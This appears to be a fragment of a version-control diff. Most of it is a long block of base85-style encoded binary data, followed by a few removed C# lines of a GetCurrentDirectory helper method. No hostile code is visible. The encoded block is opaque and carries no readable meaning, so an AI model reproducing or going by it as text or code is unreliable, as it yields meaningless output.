zTXI6zcv6p1NU}0_7NF9*c&RI0at2<<8RjD&<7l-)A^F6a?<{jRQX$Tw2<72v#iDG@ zBqMVx=o=m8@e?2Hq$V|g98c>wdR_z!Fiz~odED)t#Y)n9u)a@FyH~KY;g%G_M1_Xi zF%`}G7+o=sQVOlZbF2re+E;anhLy?rGG*Z&CKo zp?u{*`_iZgquH78jaTdMGPP$gXZ0D+?x9wY3ec5#r44#!H2tD%3sFH5J&b{1i7!Z? zZa02{Lq9?t&Vr&*fobXC)Pmzwf!BDFgmL~+)uo%dmVuc-w&;UDjNvy0Qf z6-Qutd7KI;<{BKjHWQ^Cz}wT%jK5=c`UHC-UN|{P66p9MU4r9LFm}>C&+`nuIitj| zzq2j5(aaU0KD%57fxM5y>)h$DEZ*$2L7J^S`HC%^zhrReDP}xxG8^@mm;+{ARSKXu zb%*Os1CMXUS#pucZ?KtnQWi261xWLi<@QgLKbMm@rH9!+a1*5|BT1Dq%utVH)_*RF z<0g9T71Eix)Z*;$sey_&9F60Ehvo`UnI&AtKGfu?oZ)SB+}m*QSImRTOf6X80{jTK692A$2-_QAjHb_?g6G{N`TZxFQf_cvX}EX1 zH_P-nnZ;x5ZOOrwkr+fdGbwHWH&7-mMd)0dv>`S6>oQ|)?E>vr-aUZOz6;88fJpMy}J=YnpJ zm{-mGR(X0-e?I>@bj~Yuq9by$!isc z@0Ca044^gCBBRwBP5xu%lTWbA<2RQNB!zkYTz;}Y@tnNR$oeGlZ1ywlb__rB4Cn9) zYUf!p8xd&FwfyhMW@OdetW80${~D+*tJ=2Wm+LlV)_XqZn3j{ODFqU^;!l^fRbfYe}{3L61Mfy(~(UOZx8)7gdJmrn3<~JrJib_&G&-;t%m>oO6Kc@Pzrxi5QEhHZeZAnXxpa1Bs#|le80QsiXqI* zxVw}((?iBH`?3_T{~ONT_b|+#m~eT{ew!$7vy#g;YcNym_LO0$@RP|TFGP1pLao`& z$#j!NSGlXdc`2LpL~Su{Z7b%R$Du@iPRisSIg>Z^=qOHX9WoMA>CYSBsC%iOg}Jx& z(H}c;X2*h;SC~7|&F+Jx%8+Ru!)~B6oY=c)@_E2eHOQN^M!D$*35d#g}3nHT4_mqVzktmNFoLLGoPO&rG=b199|!fDu1ti(GNl58JDO zDme&EVL6&YGHCQ7I3Svol*Wq z+sQUWoXja)kB)YkWQf~oS~Dqmh{XL}=5-37DOF~^v;*2f9~kjmFE9Ny9eX#(@)$nR z1tuxnWXL13A%CDbg|NdR7isn)BqPd^lu;Ffyi{FOxc4}pUD@d{l-@p1`2yy3gbMVO z3DpW9(%xh(S2M|Z3Vi=ieaBpH0VA^h&>yz@a=DJZ>fm|-nOZq>nK{0QA<2{Rh0 z(}q)+1=JFqJ2#@R?#ny8ia#(np}pf_hog*>wWo!B0^PouPJ%O*oXhIc4X-Na5_blJFAV!>x2T@hrowbhksMlH+*F&ZW|U0J+DW zu=~%MbzTD_I!AKtA(~fitt7cegD2IN{*?%>JWOKxI!UzRUcG z=2>?mcRr3>*joD1MWGT)(zCJ4j~Hu~RhH&+1Fnnhk>d4O~?a&A2SQuo2#1Z#Gcv@G?u$=0Lo_ zIm|U4L)mz2z6D*mpLj5-#ck|DI7a&OsTFODOpEk~$-HJ>B+>bjEXP6TB)6(E__-wr zdIssm-E>{HQV3Z+U9==A`_?2}+}m`NZH6z{#~Q)BO?~pf@1qUP<{lj+)j5mw;xW>T z+2lgx+v?#CjHI5Of*)tV-!A2CooV6Ks6pJGMO3Fp)FzF}w34UsEvM!sbtwl=!}Pah z#&{`?!B4oUh1p$LHDIFfO(glV6TI`9N?#GA{T|q67H;--?R(}u9%&i%3g~=I^pAO7 z^QlPRaV{hfXk+@L>u*mdBYX=KT9Bp4?Tj zEqT8*si6EZn`ss*>);SiU|KS0ApyPRbC|?k(jEEzt_CJEb=k+uc#UPMc?)yQ`}m|M zxD!{=&F=<&Ltm+cgWP~B+#K}XmW)d$FnAA8ULt(sK6gU^C$u5qGJ}MRyQ?XNT`9vz zwH<|LWJOa^Ky3ZUw=Uw8oH0KJ11v)EI%D0k{@@c9qm~TxKI2J}(IHNLr>XNXyml`h zQUg>IUtCsie(s&;1Ffb~UO@XUL~?U2@3@1~1D|XXwIN(B1j60L`#j0q`5$zea!i!J zPl{EOxR?8Qj_lE6^t7y=w&P=0LP@;TM(mWF z%lX|2|GPvl$jsKpKH&RhC}`*C%kIRgiMF#ECjA3BwWsXkEQCwlg~Y}Nri>5ZfxLu0 z7v&twxF9X~w97m{&{fg?WY16mW)I7$wps^$a|pfm3%YGG{@`_-)koefmpvvunv}pk z&kGA>{`w%AnL)z4nV0dNLYD0)yWOggQyN1~`6fA~EV$PdIl*JleL_)tY_@W`xr+sK z(f6#5C>CQ$Yo11x9)&JBjqMjH>~wSU$rY(x?>X(!Am=&XI+32%tMJ5Xz?I+UxpfOp zpo;Cq4bIQGgIJ&DctvrbdKiaTSt)LT?1>r1**#?xq0_$ zQcKdCqo{COx%(HqLsug8`yTswrc(*FqCH&lzhKjDc`898^!|bLjd}RdySXLT z$hu}_VzUx+nhnUi4n>XF2=aTaF@7w8Gj)a=QDD`ZOViDYNHbO zh2borYy3cc$c~9{&G6In z+?glr)r@A3Knw282%h>W$5ni5^Q;rt3U=Jh#Es7Ci{?3JAuHJz4l^AVbD0G3ZIaTj zNf#BvkJ}`=8;Prvj_W4%mgbWt+6;PrOIEB4Q%4)w(fb4^PT*Pg=C*CblfKFnWf*Qr zGqzXH_V!#=B{#Z`r*;T5^2oo8T5=73m{H44-HheDwId%lM%w_2OCcTZ_SGC9xw51P zO(u-o{f0}ao>yTQ#qbrH7%l0l%b9LJ0hTL*UeVs14DZ`YKK>q)k|n?xw+HnbKHqp-PKFJ971U( zySg%ocMxvpCVI-k>sphOpTTtG4xGw+z8uJq3-i1e;n0$z@O$-5JjY z-hS_#sEXz3Fb??F-R(UJX0gyq@oe+_`a&d2m`nEZ4xgYjPGO>G6@2Ymb|baJm(Po* zP#G<&J{u!G(!0}DKB2a{{CFvwd3NKs9jBIE{Cgth6hu_1i8HAth?w34{u5-inw3lY})#Ul*W`-w@jvX(I;(UEgH@ZT_d&y+R zzup1vkm;)@HpNeHw?>b|;c?mWGT8ENcE%iMqu7sZkABLN&c>X#yL-@0^H@yiHzm{F z3A8wr{KQ5&+&ifPXxStW(2~8`{lLthded?NY=bhbz1gnd8-r|5o1oOaZ zi=&qHVnXh?yF)c8tFN_J2eaeDl*EUr!}g$$y{!+sJ@xR0@Kh))>S8Qd+MSGFF76kP zq9Xo5SA370z!=nobJ8y)o&Vs;xGKZexnB9z%JDB~x&*(KO0HHce%N-Ycv{s`4EngnzWl%P10e%s)_*TBs0 z$d^^1lLWOksB+t=eHT!8enC4ZM&`c(czG6^D^tNkrRXMp>fJKVVg|D?9!q1-^W1=f zbAvAYg1Ly?DB(Rw15cyM?Y53^E?<#>jq$Lug+n}%+q?!jOlmFE@0H98UBKyd zH~3ke>i8k9@hH&bTxLI+uuabD&6f#0(NADx`O#nNgBma4CcYHkkzX>Xcy)P#ACd{4 z0uNi_ZKgda9c9=51NfMNYupz$wu*_EeK4^SC~g6=l08X~k4JS|!dB3|^ptDlgfp|( zKbm?dvOT9X8Ty@M#|z^U&jLx^_ICUUxGr@;Q9YUYo}pi-)4Dq?b>{18(`(=3jPW%e zV5hN65xT0%m-y-KgjqSZd%Px1uF-k>qFauo+RY@Pv7P5rimenQaG>ttrnpLF6_{%) zXArgSOZ0*>&Tn9rO6Xh7=)T=y5L4i-o7oh3m~5lBV>u=L{`$yzxt(DliuHB6uYkW& zTWrkSWj{8lelD&AZ|@~xSDG7HL+Zr_@dNDKbEhoB$Q@kd);-0Ks*eNPfdu1Z}4L|nd`2krsJ3_AijRgR~29ip#~|Y!Qk;p;$rICX|^BV zA9s%Lnq)%Z&80-4xl{qe)J3^U z1pRGdx5W?m+Be8-Kc&8fl3Of<&Rd0!Q=L4}dn7!%b9cux$uO7gd%N%iPoWQ{Z-x6^ zea+dd1Vc9Qxq6WOI0eE<^*_L2d5NoFks2Gy1j|lt_(gV?|G^#4in|)eb3eewwO>fI z=OjBS=zi{ZUv{`BqG>&aABGqOImb=;Hib_~{V(yJ|8C=ZGU4f)S>3&?5lno|V#+O< znb;e+E@^082Hw|TJeQ^P?jj_1ACvm8#qPd&oZt2M*l+&M3={=5`qHxcT2Lp0Y%NWs zPv2ugHz#SC!XU-6-ZW%g_JVh2Z{Be6GoJRJVllo~;;mGay=v9u`gkiH+43?Bm30}n zIV<1X5l#C21Wz+3nraD7Yb+bE5=h8QW-r|`HmCmplD@+;%S6g3AB@7?_FSD^HI12m zYRfjyZXm_MWJAW|7tSSpw}#~6H_VG2K|TMOXXo! zdz7voY?m5LHf=1MrDnju7UAi*-|?{(Cgy7F$MLu?p-;G52Y&-g{TaxhWdTpQo=7ov zqE^&IFXdH(jIX=>u`P3HT}WIHU}w`PCK0BP-pzr9@m!5#k2U0_Vf3@BtaJij%&g0k)h1K%>v2o z(|#admX2A95v!XMtGCg+5Gq`)3cA@&d-%zq|E-$y=6=M|8{fOarapY*}Q!y<)mMzewoxP zeAi1(H4iMUFe#Lh^oELPR;g++OGkU$Xytb2`(m?sJ0O0SEN^4%0Px}z@ZuUgnhR9O z>}(kqm_=+zCZZSmL@ei~GwZr^XMO-$bZClDfB`Kon$vflW&6x z)dA158;SXT^c7!Xw)9X*O>+MkC(pRJK}> z;`3*ww$uo8GfG$$sIy%yZ#QvLHgAuIH@}zs_p|#C_AIo;^Z)ld6!?HC*?bfE(FXN< z$iMjpnuTPRKUFr+Pa2YQZN-M*E?{R@?F^7~9gbh|r%?i(ZlbvdRWmD@o4RbgABgie z3-50;uF(Nhm&=8oUIz;L#lzLT)zqPyP z_bun|bazOEdnu@jOm==qbs51l!CGyJyMx3R?#-un^(Kw>;pDn0&)>Pfks#3i+^mu4 zGvBlE@w)OU+XLq_J-M0fj`!7)^#0yd%v5yQa(vEJ;P4a_wYSuh>Ry_=A8!6;_|6G9 z;Tt^%9i}MhId@xdXQL14iXo&^zJMQo4}(5Uw*DEZ&B8d_rM=y}-Owh7(Cxou67e__ z=|9r#^Wgn9$K~(D3H;1j<7t!^*RKfvRO+9I}^dyFsoE-$1YqMKX@8;U>~2Z$aBOzFidkw=9)?6g~I3Hk&QPnV2G|Pdrxwf@MPBDiRUNV zx*KGfpIjLkLf>dUcTJp+Y4~v_KF4g-np8CYVyIi~VQk~6wWpbVX(fNi_Yd@xhsfXJ zah`{#y^_CEEcQ-*;LUOUz!L~XzZZE5wa9>MLwT7Vn5e1fD5vzVm?G5C)lZSYEyAYj z9oAk>wl6l^+pqJ6^J~(Zd+Ht7&#)ByvEKH@g?l+imxsPZeS5;+cM$YckH0S+8y%;= zyWi%J$4hzEqo?=sl%Fl!gp2;1bkrL>t=-IXvtSR7M{%1H0J#GnVNK&(Dkx_jZ|v;bt0iyi#Hx z`JpmQjSiIM-q!^8_QJur6{v$oH-n9K_n4zDk0#%TGn;5fQjuRUAzBuV2cFY6-0O2A zsgvK4+q=Y$*Lfs&Ziyve&ppV%&XA(Om!0I%Aj^SFzAi%r&WFR<2K@3RCoY9M_{ML* zhri(a2?FrnFHjj?>GjEg9WdfiU2?-9_R>{JWHDOuX4+n)hFw>7n z365maZ~=XK1skPmFd4E{Is!BO6mM{!G8gyZXOy-lD6|E5(__F*%b1|v#TkvkmuW`I zU=&%k&jVj*r?p(313iRvz!|*_lSqTmeL~SKdRRS4L{8&-tX6SHqn)y(A2p{Msk@Ch zq(70he#?w>UG@XHiHyA@GOn@PC*13^KBgj7wsy7QJ4q^VGJnT?uOTl`&Z3uQ@+PZ> z(pRS&pMd_SF=6u^dG49+-o&Nh-tMUC`1%>#{dP&=zC--@f4T?glu%8)DK~~s&Qktj z%S?4{LIM+w=ke~-{D(n+*V*g42-cGy)>8$}(~hiJAD+n+*!5x$ZMi9@-`P2n0r%aV zm~*+#OnmocDDFqtdMGl}*pwN$ZcJ!hXQn6%+q){;e%qHE?)jDxdNhe47u759_BTw` z#lyq@u@N&7<#8$6qpPkZ^W94+%%!_Ii!@N3kIBbKs)NhY1z1xob>bhni@tUOb#x-L zGYdd{tIW5$x#C>-VMdf5S0evH2iOjeuR{RiohbF>tI( zqy-gtmIY6!iGJLIoOnDMa#v<0N8>$D#7Rx0CoLc|xs(L(Y81F6D#cDz^kgvcQIyOS zw7ARUrBl&-@3PH2jjr_yZO&(g@b)6uv7MKMS~Oj(6p1Cp)W9gQFJW0)K z^ufE#PNv~Ky}}dsSs^%35muy?7Zw~%4z3g%Dk_nwQQW1lY2ltmFOaIz;MgnqOxyT8 zhxjb#`5d?S4A1!eL-^hE@_U!!^eOz#HTiv8@Vj>A_Z-OY=wi+}{BA4xy|(c?9pd+K zCyH+In>^#U2;n!#%ims#zgZzkT9fU^ExhlM>B$b6;pE|`vK3)5-!-+K3b=>qloKeu z*Km;@!Y|%1rxL-8Tr_$}CBB`*!d-31oLoE7Ts`Sp!|_?CdYary_MvTKX6X>Apz|au zZ?XUEnU|xEVCz{l8_z0{;k8gg8=|PU1Nrr2Z}f04T|bANW-CF0>A9~HAc1S-dmoY_ zdP6=Sg0xCB8_Ozr$@ZFL;99WFsWZ9Xf#@#dNDRzjC)P?dzilK34&fS|r!L*{Gz8}G zK*Da8BZR$UdA&4tB~qFenb(GF8EeO!R8RQJaD3jWBnua_QEWZ)B75-JPk^|tkw$t* zD%Snhr3e()Xtp3!VrJMvZ*55CupO+pC*SKb97STPI0sE)B_8oMHozovGEz7d?wLsA zJoq>Zk(`4V&VYd86zgg1t*HoI(Vh~}j3+Yd`TygJ5EL55#2{=Y2=tVm5lL_p)KG zM{}N?akoJH&*=Rjq{Q;_{b!}fI4N+ongO>~-{o%j$RtE@F9uSNhkM)8|KlBh{~uIm zA;Q-)BQ@w>-o^iB58wZM3*WzaYbbP4%-_XGrT)t&ol2G}&HGl%5IKxp5|MnDVw4<> zl2;17sS7E0&HGM`|#he$^L@G1~h!#|7Smc@hq&`~3?k%+#fl4@g6K@bRr3 zk$i7Q47!&!kGvb&&&OY{x7#>wgb_02Gb<|4>n_R-s3p; z{P@S-$=H9jH!{lG2kBOK4TZU<82k5r;P`)emT8*%DFrHb996q76+039mIQYD$7e{T zYu=@ArqMZl@e$s>!>LrGIn<-YRHT*Er1ey#ZPXOJv&1~PR$+?%US$4CFfJf%PjzP=GY zh2EEbL*h}uyTTItl7vg(Zmj2aY~z0HkxQu-Io6uEPz~{+=J4%|hw!1EkwA_igZZCt zO^##`(KN-o-tG&tOXb#Aw6+S9t6iSoRiZ_MfKDV#1BJJba|#DO2&zSY?~Z+$@#3E+s)Ac_C# z#2gh*(9h0ua<0Kc)5t)-Vk*-oh0xa`=xqP2vE}$KWPvQChR++zeww;cLpogxdR;rZ zU1z?pZ!}Y{6ZzJ@M0N};;M-1@k{Ddg9+)KdJM859S(8b&9%b)93NzxD+4Ydh{Lfvy z&@{Gfyh3mB$>|mPe_Ega_4yl4ogPP}o=UBD@4#Z}^~(R_R3LM4yjuH>bfN0a3#=j8?BNFtB>cNILA^BK>X9PMpYO5)U|aMIF9jzp5c6VQR; zxK({&e2H)jcRxo8Tp|tr5D8}x;0kf@gT9=>M0h|F*gpkqmqz{j&#OWzmB0s&i*fb5 z#0YOEa$it)!oP69snn1;puWXal9h15_0*GX@WDM)l|yjC6Vw*|Y*K_TDwEHr(P`pQ zsk@T1>`P`QAuya&>Nt{gQ%O$GVgKf0T=$hs@~mf@-Zs>(J*3hPp?91Jq_Ab`GPgPv z?c**Ua~k*i72n?M(?YZ`EkcV#hm87vbx-;>`q7^Mwj=rU5Iv0jZIN`QsK5DgIXaZ! zab}Bj=>M11I(wWE8uS zl>6VGkM#ceuX|6rD-`k{Y)`6$nsCV5Rej#uRGs#JYeRMXe}PuFp(gC{Hd3ejm)oc# z|ASrBvFvrI`!Cz3lmEM|(*IX`XULpZ8inC2Di8?Ti9jF_2t-6WMckcXx`+w{0ugaV z1fl|gKtv!A5fO+81OkCTL?94|2t)(|v7!PIfrvm= zI!{RDIf<+!&c=B7WttwErLUmi4{&e=5y!}PpR?FW1d&QmdKD!mJxmP~1o@-`Y zdNN+b`pWwNsn68;i(gnV2iSb(fOI!c7dt&6a{VQ4j`p%~RJf_U&+*XvP6}Q#D ziLo7GYH#thcUaoBIohN*r9bf8UjDS($A9sY_w45!>qcE)o$e}5yGqKhiFe`nb_L;v zB;|uquFw7GHpF@btu7pqM*Nw=59I#Q4TwB14z{_!Lq*Ton<5H0{GxkL#NfTRf(QAt z%^aVLpT~4_-te{Exk#j=S1#s1=cF@FQ^BI>___y^FwNMDryiQlK_USuz-PvTrM z_?BZ_OA*gf!Lgj-R~qz=sx)GD@w)!cTl|U`U3|W#gWcj+k}!D&zjBOUDN3_9C`Xt^`PoIy@%I!&%whMmUs?pJbNA2k*h90zD-+oIKj^O z__>nng9CPz#94de=O9w?XyuO@6N#>wdXL#cKwr?qz{~B*tjprcp(h}J*>cTlG@W^c z?<+BfIgk0i?t9Ht- z{GFQbWVAX|V~<%%%iPn34U-M(X3wgns-vpm8C^sI=KsL`$_svTw|JvR-=lx;(HAAL z3O7to3gq_~s?9;DAFWdf*)v?@1n!bs`+>cYq;I@8r`LX9JJ%^wp#}DR`=^(Bsr6IC5f*v*^^3;Bd8+*f2OYS@Vm zHe!N(SXw8Trc$a8tn>NR1x}ePsRv9jIZ_80Fdb6=H==&2`+H=fm&FK``TfWT=_Y|} zQ0PwB`b_O=*sKndy639#Tr0fYdtvgsx4~4Ijs(m{YO$wexT^q4|E107Ja)IIna)+Q z8eNy{-zDbk8*hx;NI=V3HWK>$WdbOVayF^nc%sx?-Kg`Y&KZmP7fcPG!hmEi-N_#B4F|F z*-xThrJJ&?g5e9yAv7@vZBn#{GZ^Cv=H>|QF$D4h8#4n>tX$%xs`hbqIiED - /// Gets the full path of the current working directory. - /// - /// Current working directory. - public static string GetCurrentDirectory() - { - return Directory.GetCurrentDirectory(); - } - - ///